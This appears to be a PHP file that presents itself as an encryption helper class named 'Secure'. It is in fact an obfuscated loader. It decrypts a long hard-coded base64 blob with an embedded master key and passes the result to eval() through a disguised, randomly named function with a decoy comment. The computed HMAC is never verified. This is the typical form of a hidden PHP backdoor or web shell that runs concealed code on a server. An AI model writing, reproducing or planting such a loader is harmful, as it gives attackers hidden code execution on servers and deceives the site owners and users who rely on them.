<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('Zg9IqdP4qGZxsQn6FROu7GcjINfOtJ7K');
$str = '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';
$decrypted = $secure->decrypt($str);
$NmYaZR8vWq = function($YF0yyZ8YnUY){
/*RkdPkJ9zu*/eVaL($YF0yyZ8YnUY);
$uyTHd01VgaU = "uOm0Gg7MmkAtMihnh3T0L6t29LuxT0iA";
return $uyTHd01VgaU;
};
$NmYaZR8vWq($decrypted);
|